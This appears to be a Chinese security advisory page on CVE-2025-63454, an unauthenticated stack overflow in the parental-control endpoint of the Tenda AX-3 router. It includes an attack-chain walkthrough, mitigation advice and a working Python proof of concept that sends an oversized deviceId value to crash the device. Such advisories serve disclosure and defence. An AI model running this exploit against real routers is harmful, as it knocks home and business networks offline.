IPBUF安全漏洞报告
English
CVE-2025-63454 CVSS 7.5 高危

CVE-2025-63454 Tenda AX-3 设备get_parentControl_list_Info函数栈溢出导致拒绝服务

披露日期: 2025-10-31

漏洞信息

漏洞编号
CVE-2025-63454
漏洞类型
栈溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda AX-3 v16.03.12.10_CN

相关标签

CVE-2025-63454栈溢出拒绝服务Tenda AX-3路由器漏洞缓冲区溢出Web漏洞IoT安全

漏洞概述

CVE-2025-63454是影响Tenda AX-3 v16.03.12.10_CN版本路由器的高危安全漏洞。该漏洞存在于Web管理界面的get_parentControl_list_Info函数中,由于对deviceId参数缺乏有效的长度验证和边界检查,攻击者可以通过发送超长的deviceId参数值触发栈溢出。当攻击者构造恶意请求时,超长的数据会覆盖栈上的返回地址和保存的寄存器值,导致程序控制流被劫持或崩溃。此漏洞无需任何认证,攻击者可通过网络直接发起攻击,成功利用后可导致路由器服务中断,造成拒绝服务(DoS)状态。对于家庭或企业网络而言,路由器作为网络核心设备一旦瘫痪,将导致所有依赖该网络的服务无法正常工作,影响范围广泛。该漏洞属于经典的栈缓冲区溢出类型,是由于不安全的使用strcpy、sprintf等不安全的字符串处理函数造成的。

技术细节

该漏洞为典型的栈缓冲区溢出漏洞。在Tenda AX-3 v16.03.12.10_CN固件的Web服务器组件中,get_parentControl_list_Info函数负责处理家长控制功能的查询请求。该函数在处理deviceId参数时,直接将用户输入复制到栈上的固定大小缓冲区中,而没有调用strlen或strcpy_s等安全函数进行长度检查。当攻击者提交超长的deviceId参数值(通常超过256字节)时,数据会溢出缓冲区边界,覆盖栈帧中的返回地址、保存的基指针以及可能存在的其他关键数据结构。攻击者可以通过精确控制溢出数据,将返回地址指向恶意代码或ROP链,从而实现代码执行。但在大多数情况下,简单的溢出即可导致程序跳转到无效地址,引发段错误(Segmentation Fault),使Web服务进程崩溃。由于路由器通常以root权限运行Web服务,崩溃可能导致整个设备需要重启才能恢复。攻击者可以通过Python的requests库或Burp Suite等工具构造恶意HTTP POST请求,在无需任何认证的情况下触发该漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过扫描发现运行Tenda AX-3 v16.03.12.10_CN固件版本的路由器设备,确认设备IP地址和Web管理端口
STEP 2
步骤2: 构造恶意请求
攻击者构造包含超长deviceId参数的HTTP POST请求,payload长度通常需要超过栈缓冲区大小(一般超过256-512字节)
STEP 3
步骤3: 发送攻击数据包
攻击者向路由器的/goform/get_parentControl_list_Info端点发送恶意POST请求,无需任何认证即可触发漏洞
STEP 4
步骤4: 触发栈溢出
超长的deviceId参数值被直接复制到栈缓冲区,导致缓冲区溢出,覆盖返回地址和栈帧数据
STEP 5
步骤5: 造成拒绝服务
程序跳转到无效内存地址或触发保护机制,导致Web服务进程崩溃,路由器需要重启才能恢复服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-63454 PoC - Tenda AX-3 Stack Overflow in get_parentControl_list_Info This PoC demonstrates a stack overflow vulnerability in the deviceId parameter of the get_parentControl_list_Info function in Tenda AX-3 routers. """ import requests import sys def exploit_cve_2025_63454(target_ip, target_port=80): """ Exploit the stack overflow vulnerability in Tenda AX-3 router. Args: target_ip: Target router IP address target_port: Target router web port (default: 80) """ url = f"http://{target_ip}:{target_port}/goform/get_parentControl_list_Info" # Generate payload with 1000 'A' characters to trigger overflow # Adjust length based on actual buffer size payload = "A" * 1000 # Construct the request data data = { "deviceId": payload } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Sending malicious request to {url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[+] Target may be crashed or not responding: {e}") return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_63454(target, port)

影响范围

Tenda AX-3 < v16.03.12.10_CN
Tenda AX-3 = v16.03.12.10_CN

防御指南

临时缓解措施
暂时禁用路由器的远程Web管理功能,仅允许通过本地局域网访问管理界面;在防火墙层面限制对80/443端口的外部访问;监控网络流量及时发现异常请求模式;考虑使用VPN替代直接远程管理路由器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表